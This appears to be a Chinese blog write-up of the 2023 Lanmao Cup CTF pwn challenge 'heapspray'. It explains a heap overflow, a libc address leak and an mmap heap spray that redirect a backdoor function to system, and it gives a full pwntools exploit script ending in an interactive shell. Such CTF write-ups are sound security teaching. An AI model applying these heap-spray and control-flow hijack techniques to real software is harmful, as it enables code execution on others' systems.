2023蓝帽杯-heapspray

heapspray

从这个题目来看看堆喷,这是create函数,首先是循环创建十六个堆,然后有一个输入函数,没有限制大小,可以堆溢出,接着是对堆块的content字段的填充(取决于你的大小。

这是后门函数,把前面的地址改为system的地址即可

首先泄露libc

create(0x200,'a',1)
delete()
create(1,'a',1)
show(0)

首先创建大堆块释放入unsortedbin中,然后通过创建小堆块分解它,同时通过填充覆盖其函数中的截断,但是通过调试得知,0xf7e2a756的\x56是被覆盖的,但是偏移还是一样,就得到了libc基地址。

p.recvuntil(b'\x20')
p.recvuntil(b'\x20')
p.recvuntil(b'\x20')
p.recv(4)
libc = u32(p.recv(4)) - 2271062
print("libc:",hex(libc))
system = libc + 295248
delete() #恢复堆块

接下来需要用堆喷来布置system,然后由于在create功能中array内部的堆块是随机的,所以填写第一个堆块有15/16的概率可以产生堆溢出覆盖后续堆块,从而绕过switch的那个覆盖。

slide是怎么来的

这个我们是用mmap堆喷来在libc附近布置大量system地址,然后通过后门函数和slide来执行system。同时我们通过调试知道mmap在libc附近得到的空间的偏移相差不大,只要我们malloc的足够大。

create(0x20000,(p32(0) + p32(system))*(0x20000//8),1)
create(0x80,p32(slide)*0x100,1)
gift(17)

这两块都可以利用,完整脚本如下

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p= process('./main')
​
def create(size,content,idx):
    p.sendlineafter("Please give me your choose : ",str(1))
    p.sendlineafter("How much space do you need : ",str(size))
    for i in range(16):
        p.sendlineafter("Please input your head data.",content)
        p.sendlineafter("Which flag do you want?",str(idx))
​
def delete():
    p.sendlineafter("Please give me your choose : ",str(3))
​
def show(idx):
    p.sendlineafter("Please give me your choose : ",str(2))
    p.sendlineafter("Please input heap index : ",str(idx))
​
def gift(idx):
    p.sendlineafter("Please give me your choose : ",str(5))
    p.sendlineafter("Please input heap index : ",str(idx))
​
create(0x200,'a',1)
delete()
create(1,'a',1)
show(0)
p.recvuntil(b'\x20')
p.recvuntil(b'\x20')
p.recvuntil(b'\x20')
p.recv(4)
libc = u32(p.recv(4)) - 2271062
print("libc:",hex(libc))
system = libc + 295248
delete()
slide = libc  -  675824
#0x24f000-
​
create(0x20000,(p32(0) + p32(system))*(0x20000//8),1)
create(0x80,p32(slide)*0x100,1)
gift(17)
​
p.interactive()
​

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值